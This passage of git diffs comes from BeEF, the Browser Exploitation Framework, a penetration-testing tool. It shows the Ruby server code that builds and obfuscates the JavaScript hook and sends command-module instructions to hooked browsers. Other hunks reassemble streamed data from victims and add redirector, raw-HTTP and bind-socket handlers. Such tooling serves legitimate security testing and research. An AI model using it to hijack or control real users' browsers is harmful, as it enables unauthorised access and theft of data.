hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
if hook_session_config['beef_public_port'] == '443'
hook_session_config['beef_url'].sub!(/http:/, 'https:')
end
end
end
# @note Set some WebSocket properties
if config.get("beef.http.websocket.enable")
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout")
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
end
# @note populate place holders in the beef_js string and set the response body
eruby = Erubis::FastEruby.new(beef_js)
@hook = eruby.evaluate(hook_session_config)
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
else
@final_hook = ext_js_to_not_obfuscate + @hook
end
# @note Return the final hook to be sent to the browser
@body << @final_hook
end
# Finds the path to js components
# @param [String] component Name of component
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
def find_beefjs_component_path(component)
component_path = component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
component_path
end
# Builds missing beefjs components.
# @param [Array] beefjs_components An array of component names
def build_missing_beefjs_components(beefjs_components)
# @note verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
end
beefjs_components.keys.each { |k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
component_path = beefjs_components[k]
# @note we output the component to the hooked browser
@body << File.read(component_path)+"\n\n"
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
else
@beef_js_cmps += ",#{component_path}"
end
}
end
end
}
end
end
end
end
end
end
end

View File

@@ -1,70 +1,80 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Handlers
module Modules
module Core
module Handlers
module Modules
module Command
module Command
# Adds the command module instructions to a hooked browser's http response.
# @param [Object] command Command object
# @param [Object] hooked_browser Hooked Browser object
def add_command_instructions(command, hooked_browser)
# Adds the command module instructions to a hooked browser's http response.
# @param [Object] command Command object
# @param [Object] hooked_browser Hooked Browser object
def add_command_instructions(command, hooked_browser)
(print_error "hooked_browser is nil"; return) if hooked_browser.nil?
(print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil?
(print_error "hooked_browser is nil"; return) if command.nil?
(print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil?
(print_error "hooked_browser is nil";return) if hooked_browser.nil?
(print_error "hooked_browser.session is nil";return) if hooked_browser.session.nil?
(print_error "hooked_browser is nil";return) if command.nil?
(print_error "hooked_browser.command_module_id is nil";return) if command.command_module_id.nil?
config = BeEF::Core::Configuration.instance
# @note get the command module
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
(print_error "command_module is nil"; return) if command_module.nil?
(print_error "command_module.path is nil"; return) if command_module.path.nil?
# @note get the command module
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
(print_error "command_module is nil";return) if command_module.nil?
(print_error "command_module.path is nil";return) if command_module.path.nil?
if (command_module.path.match(/^Dynamic/))
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
end
command_module.command_id = command.id
command_module.session_id = hooked_browser.session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
ws = BeEF::Core::Websocket::Websocket.instance
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@output = evasion.obfuscate(command_module.output)
else
@output = command_module.output
end
#todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
#content = command_module.output.gsub('//
#//
#// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
#// Browser Exploitation Framework (BeEF) - http://beefproject.com
#// See the file 'doc/COPYING' for copying permission
#//
#//', "")
ws.send(@output, hooked_browser.session)
else
@body << @output + "\n\n"
end
# @note prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass
print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has been sent instructions from command module [id:#{command.id}, name:'#{name}']"
end
# @note flag that the command has been sent to the hooked browser
command.instructions_sent = true
command.save
end
end
if(command_module.path.match(/^Dynamic/))
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
command_module = BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{key}.class")).new(key)
end
command_module.command_id = command.id
command_module.session_id = hooked_browser.session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
@body << command_module.output + "\n\n"
# @note prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
end
# @note flag that the command has been sent to the hooked browser
command.instructions_sent = true
command.save
end
end
end
end
end
end

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -24,6 +14,10 @@ module Core
# Constructor
def initialize
@logs = BeEF::Core::Models::Log
@config = BeEF::Core::Configuration.instance
# if notifications are enabled create a new instance
@notifications = BeEF::Extension::Notifications::Notifications unless @config.get('beef.extension.notifications.enable') == false
end
# Registers a new event in the logs
@@ -34,6 +28,9 @@ module Core
def register(from, event, hb = 0)
# type conversion to enforce standards
hb = hb.to_i
# get time now
time_now = Time.now
# arguments type checking
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
@@ -41,7 +38,12 @@ module Core
raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer?
# logging the new event into the database
@logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save
@logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save
# if notifications are enabled send the info there too
if @notifications
@notifications.new(from, event, time_now, hb)
end
# return
true

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -62,7 +52,7 @@ module Models
browserdetails
end
#
# Returns the icon representing the browser type the
# hooked browser is using (i.e. Firefox, Internet Explorer)
@@ -94,9 +84,10 @@ module Models
return BeEF::Core::Constants::Os::OS_QNX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_QNX_UA_STR
return BeEF::Core::Constants::Os::OS_BEOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BEOS_UA_STR
return BeEF::Core::Constants::Os::OS_OPENBSD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_OPENBSD_UA_STR
return BeEF::Core::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR
return BeEF::Core::Constants::Os::OS_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR
return BeEF::Core::Constants::Os::OS_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR
return BeEF::Core::Constants::Os::OS_WEBOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_WEBOS_UA_STR
return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR
return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR
return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR
return BeEF::Core::Constants::Os::OS_MAEMO_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAEMO_UA_STR
return BeEF::Core::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR
return BeEF::Core::Constants::Os::OS_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BLACKBERRY_UA_STR
@@ -105,6 +96,35 @@ module Models
BeEF::Core::Constants::Os::OS_UNKNOWN_IMG
end
#
# Returns the icon representing the hardware the
# zombie is running on (i.e. iPhone, BlackBerry)
#
def self.hw_icon(session_id)
ua_string = get(session_id, 'BrowserReportedName')
hardware = get(session_id, 'Hardware')
return BeEF::Core::Constants::Hardware::HW_VM_IMG if hardware =~ /Virtual Machine/
return BeEF::Core::Constants::Hardware::HW_LAPTOP_IMG if hardware =~ /Laptop/
return BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG if ua_string.nil?
return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR
return BeEF::Core::Constants::Hardware::HW_ZUNE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ZUNE_UA_STR
return BeEF::Core::Constants::Hardware::HW_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_BLACKBERRY_UA_STR
return BeEF::Core::Constants::Hardware::HW_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPHONE_UA_STR
return BeEF::Core::Constants::Hardware::HW_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPAD_UA_STR
return BeEF::Core::Constants::Hardware::HW_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPOD_UA_STR
return BeEF::Core::Constants::Hardware::HW_KINDLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_KINDLE_UA_STR
return BeEF::Core::Constants::Hardware::HW_NOKIA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_NOKIA_UA_STR
return BeEF::Core::Constants::Hardware::HW_MOTOROLA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_MOTOROLA_UA_STR
return BeEF::Core::Constants::Hardware::HW_HTC_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_HTC_UA_STR
return BeEF::Core::Constants::Hardware::HW_GOOGLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_GOOGLE_UA_STR
return BeEF::Core::Constants::Hardware::HW_ERICSSON_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ERICSSON_UA_STR
BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG
end
end
end

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -65,11 +55,11 @@ module Models
command.save
# @note log that the result was returned
BeEF::Core::Logger.instance.register('Command', "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id)
BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']", hooked_browser_id)
# @note prints the event into the console
if BeEF::Settings.console?
print_info "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'"
print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']"
end
end

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -29,10 +19,43 @@ module Handlers
# Starts the AssetHandler instance
def initialize
@allocations = {}
@sockets = {}
@http_server = BeEF::Core::Server.instance
@root_dir = File.expand_path('../../../../', __FILE__)
end
# Binds a redirector to a mount point
# @param [String] target The target for the redirector
# @param [String] path An optional URL path to mount the redirector to (can be nil for a random path)
# @return [String] URL Path of the redirector
# @todo This function, similar to bind(), should accept a hooked browser session to limit the mounted file to a certain session etc.
def bind_redirect(target, path=nil)
url = build_url(path,nil)
@allocations[url] = {'target' => target}
@http_server.mount(url,BeEF::Core::NetworkStack::Handlers::Redirector.new(target))
@http_server.remap
print_info "Redirector to [" + target + "] bound to url [" + url + "]"
url
end
# Binds raw HTTP to a mount point
# @param [Integer] status HTTP status code to return
# @param [String] headers HTTP headers as a JSON string to return
# @param [String] body HTTP body to return
# @param [String] path URL path to mount the asset to TODO (can be nil for random path)
# @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
def bind_raw(status, header, body, path=nil, count=-1)
url = build_url(path,nil)
@allocations[url] = {}
@http_server.mount(
url,
BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body)
)
@http_server.remap
print_info "Raw HTTP bound to url [" + url + "]"
url
end
# Binds a file to a mount point
# @param [String] file File path to asset
# @param [String] path URL path to mount the asset to (can be nil for random path)
@@ -59,6 +82,60 @@ module Handlers
print_info "Url [" + url + "] unmounted"
end
# use it like: bind_socket("irc","0.0.0.0",6667)
def bind_socket(name, host, port)
if @sockets[name] != nil
print_error "Bind Socket [#{name}] is already listening on [#{host}:#{port}]."
else
t = Thread.new {
server = TCPServer.new(host,port)
loop do
Thread.start(server.accept) do |client|
data = ""
recv_length = 1024
threshold = 1024 * 512
while (tmp = client.recv(recv_length))
data += tmp
break if tmp.length < recv_length || tmp.length == recv_length
# 512 KB max of incoming data
break if data > threshold
end
if data.size > threshold
print_error "More than 512 KB of data incoming for Bind Socket [#{name}]. For security purposes client connection is closed, and data not saved."
else
@sockets[name] = {'thread' => t, 'data' => data}
print_info "Bind Socket [#{name}] received [#{data.size}] bytes of data."
print_debug "Bind Socket [#{name}] received:\n#{data}"
end
client.close
end
end
}
print_info "Bind socket [#{name}] listening on [#{host}:#{port}]."
end
end
def get_socket_data(name)
data = nil
if @sockets[name] != nil
data = @sockets[name]['data']
else
print_error "Bind Socket [#{name}] does not exists."
end
data
end
def unbind_socket(name)
t = @sockets[name]['thread']
if t.alive?
print_debug "Thread to be killed: #{t}"
Thread.kill(t)
print_info "Bind Socket [#{name}] killed."
else
print_info "Bind Socket [#{name}] ALREADY killed."
end
end
# Builds a URL based on the path and extension, if neither are passed a random URL will be generated
# @param [String] path URL Path defined by bind()
# @param [String] extension Extension defined by bind()

View File

@@ -1,131 +1,121 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module NetworkStack
module Handlers
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
class DynamicReconstruction < BeEF::Core::Router::Router
module Core
module NetworkStack
module Handlers
# @note holds packet queue
PQ = Array.new()
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
class DynamicReconstruction < BeEF::Core::Router::Router
# @note obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
# @note holds packet queue
PQ = Array.new()
before do
error 404 unless !params.empty?
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
# @note obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
# Combines packet information and pushes to PQ (packet queue), then checks packets
get '/' do
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
before do
error 404 unless !params.empty?
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
PQ << {
:beefhook => params[:bh],
:stream_id => Integer(params[:sid]),
:packet_id => Integer(params[:pid]),
:packet_count => Integer(params[:pc]),
:data => params[:d]
}
# Combines packet information and pushes to PQ (packet queue), then checks packets
get '/' do
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
Thread.new {
check_packets()
}
end
PQ << {
:beefhook => params[:bh],
:stream_id => Integer(params[:sid]),
:packet_id => Integer(params[:pid]),
:packet_count => Integer(params[:pc]),
:data => params[:d]
}
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
Thread.new {
check_packets()
}
end
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
next
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
pc = 0
PQ.each do |p|
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
pc = 0
PQ.each do |p|
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
pc += 1
pc += 1
end
end
if (packet[:packet_count] == pc)
end
if (packet[:packet_count] == pc)
packets = expunge(packet[:beefhook], packet[:stream_id])
data = ''
packets.each_with_index do |sp,i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
packets.each_with_index do |sp, i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
end
b64 = Base64.decode64(data)
b64 = Base64.decode64(data)
begin
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = request
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
execute(res)
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = request
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
execute(res)
rescue JSON::ParserError => e
print_debug 'Network stack could not decode packet stream.'
print_debug 'Dumping Stream Data [base64]: '+data
print_debug 'Dumping Stream Data: '+b64
print_debug 'Network stack could not decode packet stream.'
print_debug 'Dumping Stream Data [base64]: '+data
print_debug 'Dumping Stream Data: '+b64
end
end
end
end
end
end
# Delete packets that have been reconstructed, return deleted packets
# @param [String] beefhook Beefhook of hooked browser
# @param [Integer] stream_id The stream ID
def expunge(beefhook, stream_id)
packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
packets.sort_by { |p| p[:packet_id] }
end
# Delete packets that have been reconstructed, return deleted packets
# @param [String] beefhook Beefhook of hooked browser
# @param [Integer] stream_id The stream ID
def expunge(beefhook, stream_id)
packets = PQ.select { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
packets.sort_by { |p| p[:packet_id] }
end
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
else
MOUNTS[handler].new(data)
end
end
end
# Assist function for getting parameter from hash
# @param [Hash] query Hash to pull key from
# @param [String] key The key association to return from `query`
# @return Value associated with `key`
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end
# Assist function for getting parameter from hash
# @param [Hash] query Hash to pull key from
# @param [String] key The key association to return from `query`
# @return Value associated with `key`
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end
end
end
end
end

View File

@@ -0,0 +1,33 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module NetworkStack
module Handlers
class Raw
def initialize(status, header={}, body)
@status = status
@header = header
@body = body
end
def call(env)
[@status, @header, @body]
end
private
@request
@response
end
end
end
end
end

View File

@@ -0,0 +1,42 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module NetworkStack
module Handlers
# @note Redirector is used as a Rack app for mounting HTTP redirectors, instead of content
# @todo Add new options to specify what kind of redirect you want to achieve
class Redirector
@target = ""
def initialize(target)
@target = target
end
def call(env)
@response = Rack::Response.new(
body = ['302 found'],
status = 302,
header = {
'Content-Type' => 'text',
